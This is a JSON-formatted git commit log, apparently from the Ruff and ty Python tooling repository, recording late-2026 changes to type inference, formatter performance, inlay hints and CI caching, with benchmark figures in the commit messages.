)]}'
{
  "log": [
    {
      "commit": "05631cff6b91b3d23fe1bad577e382cefd8073a3",
      "tree": "66921a941b77c0e70ab66e019cbca07c2e780f3d",
      "parents": [
        "692886eb6652f49207a118e6398f3f40d1391ee2"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Sun Nov 01 21:13:14 2026 -0500"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Sun Nov 01 21:13:14 2026 -0500"
      },
      "message": "[ty] Recognize overlap between invariant type-variable arguments (#29878)\n\n## Summary\n\nWhen ty checks whether `list[T]` and `list[U]` are disjoint, it asks the\nconstraint solver whether any specialization makes their invariant\narguments equal. Even if `T` is bounded by `int` and `U` by `str`, the\nsolver admits `T \u003d U \u003d Never`, since `Never` is a subtype of both upper\nbounds.\n\nWe now recognize that common specialization directly when both\nalias-resolved arguments are bare ordinary type variables, declared with\n`TypeVar` or PEP 695, and neither has finite constraints. A variable\nconstrained to `str` or `bytes` must choose one of those types. A\ncomparison such as `T` against `list[T]` also needs the solver because\nthe second argument depends on the first. Both cases retain the existing\ncheck, as do parameter specifications and type variable tuples. Each\ninvariant argument is checked separately, so `dict[T, int]` and `dict[U,\nstr]` are still disjoint.\n\n(A cold `ty check` of SQLAlchemy executed 3.05% fewer instructions in\neach of two single-worker Cachegrind comparisons.)\n\n---------\n\nCo-authored-by: Charlie Marsh \u003ccharliemarsh@openai.com\u003e"
    },
    {
      "commit": "692886eb6652f49207a118e6398f3f40d1391ee2",
      "tree": "c5b1e413b519da56f1982006d850789288e03b20",
      "parents": [
        "c8e1e8d2f2604f1d0895776a20ed24a04eedc6d1"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Sun Nov 01 19:32:43 2026 -0500"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Sun Nov 01 19:32:43 2026 -0500"
      },
      "message": "[ty] Reuse inferred annotations when checking function returns (#29879)\n\n## Summary\n\nA cold `ty check` of Home Assistant now builds 47% fewer raw function\nsignatures (436,740 → 233,646) and uses 1.83% fewer instructions. Four\nother projects used 1.16–2.58% fewer instructions. Home Assistant wall\ntime was less clear on a host with high CPU steal. One batch was 22%\nslower and the other was inconclusive.\n\nFor a function like `def identity[T](x: T) -\u003e T: return x`, ty rebuilt\nthe full signature just to find the expected type of `x`. We now read\n`T` directly from the return annotation in the function’s scope. We\nstill consult the public signature when that check cannot settle an\nexplicit return, since a returned `Callable` can bind its own type\nvariables. Generators and implicit returns also keep their existing\nchecks. When we do need the full signature, we reuse the annotation\ninference result across its parameters and return type.\n\nCo-authored-by: Charlie Marsh \u003ccharliemarsh@openai.com\u003e"
    },
    {
      "commit": "c8e1e8d2f2604f1d0895776a20ed24a04eedc6d1",
      "tree": "3d89cf4a409bf9369924a9152b99fe5815fb8072",
      "parents": [
        "049c351befba87447d3d50a2ee3d617ce3c2a264"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Sun Nov 01 19:31:11 2026 -0500"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Sun Nov 01 19:31:11 2026 -0500"
      },
      "message": "[ty] Reuse generic argument contexts across calls (#29877)\n\n## Summary\n\nWhen checking a generic call, ty uses the expected return type and the\ntype arguments inferred so far to specialize the parameter types. We\nalready share this work among the arguments of one overload in one\ninference pass. When the expected return type contributes no binding,\nother calls with the same generic context and inferred arguments can\nreuse the specialization too. If a recursive query hasn\u0027t produced a\nspecialization yet, the caller computes it as before.\n\nWith this change alone, a cold `ty check` of discord.py used 2.39% fewer\ninstructions in two single-worker runs.\n\n---------\n\nCo-authored-by: Charlie Marsh \u003ccharliemarsh@openai.com\u003e"
    },
    {
      "commit": "049c351befba87447d3d50a2ee3d617ce3c2a264",
      "tree": "d3f7b19d57d2dbe1e1d161dda2479da7f47b1b50",
      "parents": [
        "560a2fa8b304df13ec68dc3c75a0f646e3bec8e7"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Sun Nov 01 09:01:21 2026 -0500"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Sun Nov 01 09:01:21 2026 -0500"
      },
      "message": "[ty] Short-circuit equivalence checks against `Never` (#29862)\n\n## Summary\n\nA cold `ty check` on isort went from 149.5 ms to 139.0 ms on average\nacross 96 paired macOS runs with four workers (6.7% less wall time, 95%\ninterval 3.4–9.8%). The same command executed 6.4% fewer instructions.\n\nTo decide whether code after a function call is reachable, ty checks\nwhether the return type is equivalent to `Never`. Even for `int | str`,\nthe general equivalence check builds a constraint set to answer that\nquestion.\n\nWe now rule out `Never` directly for common types like `int`, which is\nenough to rule it out for the whole `int | str` union. For types like\naliases and intersections, we still check whether the type is redundant\nwith `Never`. We can skip the reverse check because `T | Never` is\nalways equivalent to `T`.\n\n---------\n\nCo-authored-by: Charlie Marsh \u003ccharliemarsh@openai.com\u003e"
    },
    {
      "commit": "560a2fa8b304df13ec68dc3c75a0f646e3bec8e7",
      "tree": "d04e906979d919824ff0a1f6921592b2c082bc48",
      "parents": [
        "c665b9d4f531ac5af16c62d96cbc6cae22e7e3f5"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Sun Nov 01 09:01:01 2026 -0500"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Sun Nov 01 09:01:01 2026 -0500"
      },
      "message": "[ty] Reuse class-header and scope data during member lookup (#29864)\n\n## Summary\n\nA cold `ty check` of SQLAlchemy executes 4.75% fewer instructions in a\nrelease build (26.24 billion to 25.00 billion) and produces identical\ndiagnostics. Four-worker runs suggested a 2.34% speedup, though the\nconfidence interval included no change.\n\nOn `main`, looking up a generated member such as a dataclass’s\n`__init__` can classify the class twice, once before searching its body\nand again when that search misses. Across the SQLAlchemy check, ty\nclassified classes 3.19 million times. We now read the relevant\nclass-header fields together and reuse the classification after a miss.\n\nA lookup like `obj.x` can find `x` in the class body or in a method that\nassigns to `self.x`. We now fetch the class-body symbol table and the\nnames assigned to method receivers in one Salsa query per class. For\ninstance lookups, we also skip the `NamedTuple` field check when the\nclass body has no symbol named `x`, since every field is declared there.\n\nSharing the two inputs means that adding an unrelated class attribute\ncan invalidate a lookup that only needed receiver names. Applying\n`dataclass` to the same class with different options can also cache\nthose names once per variant.\n\n---------\n\nCo-authored-by: Charlie Marsh \u003ccharliemarsh@openai.com\u003e"
    },
    {
      "commit": "c665b9d4f531ac5af16c62d96cbc6cae22e7e3f5",
      "tree": "085215f99f9efec63f3a3df1600595c1ebbbcf83",
      "parents": [
        "68207fbea5f356462896db633257604e32eb2dba"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Sun Nov 01 06:25:32 2026 -0500"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Sun Nov 01 06:25:32 2026 -0500"
      },
      "message": "[ty] Reuse inherited override checks across subclasses (#29867)\n\n## Summary\n\nAcross seven paired runs with four workers, `ty check` of Home Assistant\naveraged 23.30 s on `main` and 22.44 s with this change (3.7% less wall\ntime, 95% interval 2.6–4.9%). With one worker, ty executed 8.04% fewer\ninstructions in Cachegrind and emitted identical diagnostics.\n\n```python\nclass Numeric:\n    value: int\n\nclass Text:\n    value: str\n\nclass Left(Numeric, Text): ...   # error: [invalid-attribute-override]\nclass Right(Numeric, Text): ...  # same error\nclass Child(Left, Right): ...    # no new error\n```\n\nOn `main`, ty searches `Numeric` and `Text` for shared names once for\n`Left` and again for `Right`. When checking `Child`, it compares their\ndeclarations again to determine that its parents already have the same\nconflict.\n\nWe now cache the names two bases can both supply, including generated\nmembers such as `NamedTuple._replace`. We also cache which declaration\nin a parent already conflicts with an ancestor. Each subclass uses its\nown method resolution order to select the member and its own receiver\ntype to check the override.\n\n---------\n\nCo-authored-by: Charlie Marsh \u003ccharliemarsh@openai.com\u003e"
    },
    {
      "commit": "68207fbea5f356462896db633257604e32eb2dba",
      "tree": "16fb657f69d58779f234e66329ddba924deaf196",
      "parents": [
        "9e14a41e14fd2bed3ef291d48d8ba84046eca6a6"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Sat Oct 31 17:40:13 2026 -0400"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Sat Oct 31 17:40:13 2026 -0400"
      },
      "message": "[ty] Cache substitution into generic type alias bodies (#29861)\n\n## Summary\n\nA cold `ty check` of NumPy went from 4.82 s on `main` to 4.11 s with\nthis change (medians across 30 paired release runs on four Linux cores).\nThe two batches of 15 pairs took 12.8% and 14.9% less wall time,\nrespectively. Both builds checked the same 359 files and emitted\nidentical diagnostics.\n\nOn `main`, 15% of CPU samples fell inside substitution of type arguments\ninto generic alias bodies. Repeated uses of an alias such as\n`Array[int]` can walk the same inferred body with the same arguments\neach time.\n\nWe now memoize the substitution by its inferred body and specialization.\nInferring the body and checking for unguarded cycles still happen before\nthe lookup. Cycle recovery and expansion under an active recursion guard\ncontinue to use the caller’s context. During file checking on NumPy,\n568,664 requests required 6,985 substitutions.\n\nCo-authored-by: Charlie Marsh \u003ccharliemarsh@openai.com\u003e"
    },
    {
      "commit": "9e14a41e14fd2bed3ef291d48d8ba84046eca6a6",
      "tree": "fd0e5c76ba99caf33f89046ad6db25e40d65232e",
      "parents": [
        "23a16fa018cf3b219c2edc7a2b739881e023a874"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Sat Oct 31 17:39:56 2026 -0400"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Sat Oct 31 17:39:56 2026 -0400"
      },
      "message": "[ty] Defer member lookup when checking overrides (#29866)\n\n## Summary\n\nWhen checking overrides, ty bound every member to the subclass before\nlooking for a base declaration with the same name. We now resolve the\nbound member when a base declaration or a class-specific rule needs it.\nWe also look up the synthesized `TypedDict` and `NamedTuple` fallback\nmembers only when they could satisfy an explicit `@override`.\n\nOn discord.py, the override checker made 3,246 bound-member lookups,\ndown from 7,807.\n\n---------\n\nCo-authored-by: Charlie Marsh \u003ccharliemarsh@openai.com\u003e"
    },
    {
      "commit": "23a16fa018cf3b219c2edc7a2b739881e023a874",
      "tree": "e47b87b058b27fb8c6f6e55573a0b39be9c7a282",
      "parents": [
        "017c77fcf13ea7344cdba7bf7f9f8ab7cb209672"
      ],
      "author": {
        "name": "Alex Waygood",
        "email": "Alex.Waygood@Gmail.com",
        "time": "Fri Oct 30 22:21:15 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Sat Oct 31 05:21:15 2026 +0000"
      },
      "message": "[ty] Avoid invalid keyword arguments when accepting inlay hints (#29806)\n\n## Summary\n\nty now keeps an argument-name hint visible but omits its edit when the\ncall already has that keyword argument or when the displayed name cannot\nbe used as a Python identifier.\n\n- Given `def f(x): ...`, the call `f(1, x\u003d2)` compiles but raises\n`TypeError` at runtime. Accepting the `x\u003d` hint used to produce `f(x\u003d1,\nx\u003d2)`, which prevents the whole module from compiling.\n- Python accepts the fullwidth parameter name in `def f(ｉｆ): ...`. ty\ndisplays its normalized spelling, `if\u003d`, but inserting that spelling\nwould produce the syntax error `f(if\u003d1)`.\n\nStacked on [#29801](https://github.com/astral-sh/ruff/pull/29801).\n\n## Test plan\n\nAn existing snapshot explicitly expected the edit `foo(y\u003d\u0027hello\u0027, 1)` →\n`foo(y\u003d\u0027hello\u0027, y\u003d1)`. The old helper only required the edited source to\nparse if the original parsed. It skipped that check here because the\noriginal call already had a positional argument after a keyword\nargument. The edited call parses, but Python rejects the repeated\nkeyword at compile time. [Previous\nsnapshot](https://github.com/astral-sh/ruff/blob/efbefae896f7c9ced52be4696ffcb0ac4598b29c/crates/ty_ide/src/inlay_hints.rs#L5247-L5249)\n\nThe inlay-hint test helpers now count parse errors and semantic syntax\nerrors separately before and after applying edits. If either count\nincreases, the test fails before the snapshot can be updated.\nReintroducing the old edit removes the parse error but raises the\nsemantic syntax error count from zero to one, so even regenerating\nsnapshots cannot accept it. The updated snapshot retains the hint and\nits navigation target with no edit.\n\nFocused tests check that both `x\u003d` and `if\u003d` remain visible without\nedits in the examples above, and that the soft keyword `match` can still\nbe inserted as `f(match\u003d1)`."
    },
    {
      "commit": "017c77fcf13ea7344cdba7bf7f9f8ab7cb209672",
      "tree": "0068e58aa43ebf6838263c9c8e1b538c73deb74e",
      "parents": [
        "4233a93546ec4d2dcdcf9ae45a62a8ff66b666e0"
      ],
      "author": {
        "name": "Carl Meyer",
        "email": "carl@astral.sh",
        "time": "Fri Oct 30 20:53:21 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Fri Oct 30 20:53:21 2026 -0700"
      },
      "message": "[ty] Use # ok comments in mdtests (#29856)\n\nUse `# ok` as the marker for mdtest statements whose expectation is that\nno diagnostic is emitted. Update the guidance in `AGENTS.md` and replace\nexisting `# no diagnostic` comments in Ruff and ty mdtests."
    },
    {
      "commit": "4233a93546ec4d2dcdcf9ae45a62a8ff66b666e0",
      "tree": "9e2f42f104b9174e935aa347c6aba3514bede935",
      "parents": [
        "de7cb9c6eb29c4fcb49d36caf1bea1a2d3d64832"
      ],
      "author": {
        "name": "Alex Waygood",
        "email": "Alex.Waygood@Gmail.com",
        "time": "Fri Oct 30 19:43:23 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Sat Oct 31 02:43:23 2026 +0000"
      },
      "message": "[ty] Respect `FORCE_COLOR` in `ty check` (#29830)"
    },
    {
      "commit": "de7cb9c6eb29c4fcb49d36caf1bea1a2d3d64832",
      "tree": "e88ed7919e4cb026cd23ce2f7f32968e3eeb462c",
      "parents": [
        "3b5d4a6fe26ee50e9564d481998effaf2b216652"
      ],
      "author": {
        "name": "Alex Waygood",
        "email": "Alex.Waygood@Gmail.com",
        "time": "Fri Oct 30 19:13:22 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Fri Oct 30 19:13:22 2026 -0700"
      },
      "message": "[ty] Keep argument name hints display-only before later positional arguments (#29801)\n\n## Summary\n\nGiven the following Python snippet:\n\n```py\ndef f(x, *rest): ...\n\nf(1, 2)\n```\n\nDouble-clicking the `x\u003d` inlay hint in `f(1, 2)` could produce `f(x\u003d1,\n2)`, which is invalid syntax. This PR fixes that bug.\n\nA trailing `*args` can also make the edit unsafe. For the same function,\naccepting `x\u003d` in `f(1, *[2])` would produce `f(x\u003d1, *[2])`. That call\nis valid syntax, but Python raises a `TypeError` at runtime because the\nunpacked `2` and the keyword argument `x\u003d1` both supply `x`. I think\nunsafe insertions from inlay hints are, in general, fine (as long as\nthey do not introduce invalid syntax), since inlay hints can only ever\nbe manually applied. But in general, `f(x\u003d1, *rest)` can _only_ ever\nsucceed without `TypeError` being raised if `rest` is empty at runtime,\nwhich seems like a pretty uncommon case in the real world. I think it\u0027s\nprobably best to avoid offering an insertable hint if accepting the\nsuggestion would almost always lead to the code failing, and, as a happy\nside effect, making the inlay hint here non-insertable allows us to\nsimplify our implementation (see\nhttps://github.com/astral-sh/ruff/pull/29801/commits/df3434e57c489ce38f8c2e7f995990bd9a931453).\nThis PR therefore makes that inlay hint non-insertable as well.\n\nStacked on [#29797](https://github.com/astral-sh/ruff/pull/29797).\nCloses astral-sh/ty#4855.\n\n## Test plan\n\nTwo snapshots were updated. I also added a focused regression test for\n`f(1, *[2])`, since it felt a little hard to spot from the snapshot that\nthe inlay-hint edits previously introduced calls that would introduce\n`TypeError`s, and now no longer do."
    },
    {
      "commit": "3b5d4a6fe26ee50e9564d481998effaf2b216652",
      "tree": "34cad33eb776df2af79a504a2e1ad80555b16eb9",
      "parents": [
        "08aac42edb25815cbd26ee10eae7d3faea424b53"
      ],
      "author": {
        "name": "Micha Reiser",
        "email": "micha@reiser.io",
        "time": "Fri Oct 30 15:03:21 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Fri Oct 30 15:03:21 2026 -0700"
      },
      "message": "Reduce formatter source-slice overhead (#29855)"
    },
    {
      "commit": "08aac42edb25815cbd26ee10eae7d3faea424b53",
      "tree": "08003c883e74fe4569fdafecea659d4c8d4c0d0f",
      "parents": [
        "f93c0b161b613acb93f46a6e7d08a36ae69214a0"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Fri Oct 30 17:16:18 2026 -0400"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Fri Oct 30 21:16:18 2026 +0000"
      },
      "message": "Coalesce source slices when formatting attributes (#29841)\n\n## Summary\n\nFormatting and printing the top-level modules in CPython’s standard\nlibrary took 3.9% less time in a local benchmark (125.7 ms to 120.8 ms),\nor 2.4% less with parsing included. CodSpeed reports a 5.1% efficiency\nimprovement on the [`large/dataset.py` formatter\nbenchmark](https://github.com/astral-sh/ruff/pull/29841#issuecomment-6515803489).\n\nToday the formatter emits a source slice for `a`, a dot token, and a\nsource slice for `b` just to print `a.b`. We now emit the whole\nexpression as one slice when the dot touches both names, the first name\nis unparenthesized, and there are no comments or call-chain breaks to\nhandle. Reading directly from the source also preserves Unicode\nspellings like `𝓪.𝓫`.\n\nFor `factory().attr`, we still format the call and handle any line break\nbefore the dot, but we can emit `.attr` as one slice. This follows the\napproach in [Oxc #28462](https://github.com/oxc-project/oxc/pull/28462)."
    },
    {
      "commit": "f93c0b161b613acb93f46a6e7d08a36ae69214a0",
      "tree": "a48045166a24d56439fe4beb39c3eedf9f7331f8",
      "parents": [
        "00212f8ace09c03f9d5e274b067c9c295d65f71d"
      ],
      "author": {
        "name": "Micha Reiser",
        "email": "micha@reiser.io",
        "time": "Fri Oct 30 14:10:00 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Fri Oct 30 14:10:00 2026 -0700"
      },
      "message": "Format node fields directly when comment handling is unnecessary (#29853)\n\n## Summary\n\nWhen source maps are disabled and the Bloom filter rules out comments on\na node, the formatter can call `fmt_fields` directly. This skips cloning\nthe comment handle and writing empty leading and trailing comments.\nNodes with possible comments or source maps still take the existing\npath.\n\nCompared with #29852, the fast path used 4.44% fewer instructions across\nRuff’s five formatter benchmarks and 2.79% fewer across ten Python\nstandard-library modules. Synthetic assignments with leading and\ntrailing comments used 0.13% more. These are medians from 21 paired\narm64 trials that include trivia construction and printing.\n\n## Test Plan\n\nThe formatter tests passed, and the parent and this change produced\nidentical formatted text and source-map markers across the comparison\ncorpora."
    },
    {
      "commit": "00212f8ace09c03f9d5e274b067c9c295d65f71d",
      "tree": "eb55f381518422b9d5961b607ba8ca527e45c4ef",
      "parents": [
        "86b7fd1e566447cf9af2f56793dbf5b7a7df1c73"
      ],
      "author": {
        "name": "Micha Reiser",
        "email": "micha@reiser.io",
        "time": "Fri Oct 30 14:09:59 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Fri Oct 30 14:09:59 2026 -0700"
      },
      "message": "Use a Bloom filter for formatter comment lookups (#29852)\n\n## Summary\n\nMost nodes have no attached comments. A 256-byte Bloom filter lets the\nformatter skip the comment map lookup when a node\u0027s address maps to a\nclear bit. On a hit, the formatter still checks the map.\n\nBuilding and printing pre-parsed documents on arm64 took 4.82% fewer\ninstructions across five Ruff benchmark fixtures and 3.40% fewer across\nten Python standard-library modules, measured as the median of 21 paired\nruns against `main`. A synthetic workload with leading and trailing\ncomments on every assignment took 0.38% more instructions.\n\n## Test Plan\n\nThe formatter tests passed, including a forced filter collision, and all\nbenchmark inputs produced byte-for-byte identical output."
    },
    {
      "commit": "86b7fd1e566447cf9af2f56793dbf5b7a7df1c73",
      "tree": "693e78617f9b4fe65085ba1d20428e0cc4e7e3bc",
      "parents": [
        "f35670fa64bd65d94cd4e32719015e5dbe8e4311"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Fri Oct 30 16:16:39 2026 -0400"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Fri Oct 30 20:16:39 2026 +0000"
      },
      "message": "Use a concrete buffer for ordinary writes (#29819)\n\nFormatter delegates ordinary writes directly to VecBuffer. Buffer adapters continue to intercept writes through the Buffer trait."
    },
    {
      "commit": "f35670fa64bd65d94cd4e32719015e5dbe8e4311",
      "tree": "b4c3fb468cf7469e87fb585a7004f20bf7ea5747",
      "parents": [
        "52cca7e7d16f1760c32535d176f9ac451a3fa271"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Fri Oct 30 16:03:53 2026 -0400"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Fri Oct 30 20:03:53 2026 +0000"
      },
      "message": "Upgrade Hawk to 0.1.17 and cache workspace artifacts (#29837)\n\n## Summary\n\nCaching Ruff\u0027s compiled crates and Hawk\u0027s graphs cut the `cargo hawk` CI\njob by 39% on the ty subscript change (#29824), including restore. This\nupgrades Hawk to 0.1.17 and caches both under `target/hawk`. PRs share\nentries saved by `main`, at about 1 GB compressed per entry (112 MB more\nthan caching dependencies alone).\n\n| What we timed | Before | After | Added cache (compressed) | Runs |\n| --- | ---: | ---: | ---: | --- |\n| Full job on 0.1.16, adding crates and graphs to the dependency cache |\n6m 36s | 4m 30s, 3m 37s | 111.7 MB (885.7 → 997.4 MB) |\n[Baseline](https://github.com/astral-sh/ruff/actions/runs/40990262689/job/123850805721)\n· [Warm\n1](https://github.com/astral-sh/ruff/actions/runs/41014762115/job/123928917090)\n· [Warm\n2](https://github.com/astral-sh/ruff/actions/runs/41014762115/job/123932651882)\n|\n| `cargo hawk check` on 0.1.17, adding `hawk-fragments/` to warm crates\n| 7m 19s | 3m 05s | 89 MB | [Paired\nruns](https://github.com/astral-sh/ruff/actions/runs/41068692068) |\n\nThe warm runs restored the PR\u0027s parent build. Two runners tried the\nfragment comparison in opposite orders. The graphs saved 4m 14s (58%)\nper check, or 4m 07s including local extraction and input validation."
    },
    {
      "commit": "52cca7e7d16f1760c32535d176f9ac451a3fa271",
      "tree": "2a1a97b62eed4600e594a0e43f7b142536226963",
      "parents": [
        "16cffe4a80bb37cfb3135fcef3717e41709593e4"
      ],
      "author": {
        "name": "Lérè",
        "email": "contact@lrbr.dev",
        "time": "Fri Oct 30 10:16:48 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Fri Oct 30 10:16:48 2026 -0700"
      },
      "message": "[ty] Rename specialized definitions method (#29847)\n\n## Summary\n\nRename `SemanticModel::reaching_definitions_at` to\n`definitions_for_dictionary_key_completion` to make its\ncompletion-specific purpose explicit. This prepares for the general\n`SemanticModel::reaching_definitions` API in #29685.\n\n## Test Plan\n\nThis is a behaviour-preserving refactor that relies on existing tests."
    },
    {
      "commit": "16cffe4a80bb37cfb3135fcef3717e41709593e4",
      "tree": "614f6708f6773f7a3a1391397ee178b80ef723fa",
      "parents": [
        "dc988f67760053f7e7e2456dff2aed146b6accb9"
      ],
      "author": {
        "name": "Carl Meyer",
        "email": "carl@astral.sh",
        "time": "Thu Oct 29 23:47:19 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Thu Oct 29 23:47:19 2026 -0700"
      },
      "message": "[ty] Infer union parameters through call-wide constraints (#29236)\n\nInfer (most) union parameters through constraint-set assignability, so\nevery argument member must match a parameter alternative and all\narguments contribute to the same solution.\n\nFor now we keep the legacy constraint inference for variadics, recursive\naliases, and gradual evidence; these can be migrated over time.\n\n- Fixes astral-sh/ty#1703\n- Fixes astral-sh/ty#3695\n- Fixes astral-sh/ty#4277\n- Fixes astral-sh/ty#4364\n- Fixes astral-sh/ty#4803\n- Partially addresses astral-sh/ty#3557, but we still have some paths\nthat go through the legacy solver, so doesn\u0027t close this issue yet.\n- Partially addresses astral-sh/ty#3022: fixes the bounded-variable\nunion example, but the original ParamSpec decorator example still fails.\n- Partially addresses astral-sh/ty#3163: fixes synchronous inference,\nbut the asynchronous case still includes the coroutine type in its\nresult.\n\n## Ecosystem report\n\nAnalyzed head: `203404e00c339e9cea5518103abe58a0adbdf1c2`. Generic union\ninference improves across wrappers, collection adapters and numerical\nAPIs; more precise recovery also exposes downstream annotation\nmismatches. The remaining regressions fall within the accepted deferrals\ndocumented in the [complete ecosystem\nanalysis](https://github.com/astral-sh/ruff/pull/29236#issuecomment-6385786960).\n\nThe Colour slowdown did not recur in this run: raw job medians were\n36.20s on the merge base and 35.29s on the PR, with two samples per\nrevision. This small sample does not establish a stable speedup."
    },
    {
      "commit": "dc988f67760053f7e7e2456dff2aed146b6accb9",
      "tree": "a6d38fd9d5bc2e72e1ddeb7cc83b898facae5426",
      "parents": [
        "737853207e9d7bbb3d111be560258804246aa0c7"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Thu Oct 29 15:57:34 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Thu Oct 29 15:57:34 2026 -0700"
      },
      "message": "[ty] Cache subscript method resolution (#29824)\n\n## Summary\n\nA cold CLI check of NumPy went from 13.64 s on `main` to 11.44 s with\nthis change (16.1% less wall time). These are means from 12 paired Linux\nruns using optimized `profiling` builds. Both builds emitted the same\n2,147 diagnostics.\n\nOn `main`, 18% of CPU samples fell inside subscript evaluation.\nExpressions such as `left[i]` and `right[i]` can resolve the same\n`__getitem__` overload when the receiver and key types agree. We used to\nrepeat that resolution at each expression.\n\nWe now memoize the call by receiver type, key type, and method.\n`__getitem__` still takes precedence over `__class_getitem__`. The cache\nstores the return type and the information needed to report a call error\nat each expression. Editing the method signature invalidates the result."
    },
    {
      "commit": "737853207e9d7bbb3d111be560258804246aa0c7",
      "tree": "5999569049603bdea2b7db4d69d78a6e8ee1199f",
      "parents": [
        "a71ae066c6c404e21d89787cb020707f3cf33383"
      ],
      "author": {
        "name": "Ibraheem Ahmed",
        "email": "ibraheem@ibraheem.ca",
        "time": "Thu Oct 29 15:48:00 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Thu Oct 29 22:48:00 2026 +0000"
      },
      "message": "[ty] Ignore declared parameter type of `typing.cast` when inferring its argument (#29835)\n\nThe parameter type of the value passed to `cast` is declared as `Any`.\n```py\ndef cast(typ: type[_T], val: Any) -\u003e _T: ...\n```\n\nHowever, inferring a generic call expression using `Any` as type context\ncan incorrectly make the cast appear redundant:\n\n```py\nfrom typing import Any, cast\n\ndef first[T](values: list[T]) -\u003e T:\n    return values[0]\n\ndef _(value: list[int]):\n    cast(Any, first([value]))  # error [redundant-cast]: Value is already of type `Any`\n```\n\nAs such, the declared type should be ignored when inferring the value\nexpression, avoiding the redundant cast false positives.\n\nSplit out from https://github.com/astral-sh/ruff/pull/26680, which makes\nthis issue much more noticeable due to the stronger declared type\npreference heuristic it introduces."
    },
    {
      "commit": "a71ae066c6c404e21d89787cb020707f3cf33383",
      "tree": "7c3e7abafa4de6ce0badd6457226f9724dc17eeb",
      "parents": [
        "7fcdf2d60fe1e94dc87dd910e7e8ab78cc2cb554"
      ],
      "author": {
        "name": "Alex Waygood",
        "email": "Alex.Waygood@Gmail.com",
        "time": "Thu Oct 29 15:17:09 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Thu Oct 29 22:17:09 2026 +0000"
      },
      "message": "Update Pylint to 4.0.9 in the benchmark environment (#29833)"
    },
    {
      "commit": "7fcdf2d60fe1e94dc87dd910e7e8ab78cc2cb554",
      "tree": "5df0daee6ac58d8daaf0970dab9051ba3eb94bba",
      "parents": [
        "729fa541196a820aea5e085bb693f9090319c0a6"
      ],
      "author": {
        "name": "Alex Waygood",
        "email": "Alex.Waygood@Gmail.com",
        "time": "Thu Oct 29 15:15:35 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Thu Oct 29 22:15:35 2026 +0000"
      },
      "message": "Update msgpack to 1.2.3 in the release environment (#29834)"
    },
    {
      "commit": "729fa541196a820aea5e085bb693f9090319c0a6",
      "tree": "8a7b911a2cb0e4abf9c7da607a584bf5d71dd39e",
      "parents": [
        "8b05262cf354c72602cb403a9fb192a214bea498"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Thu Oct 29 15:15:29 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Thu Oct 29 15:15:29 2026 -0700"
      },
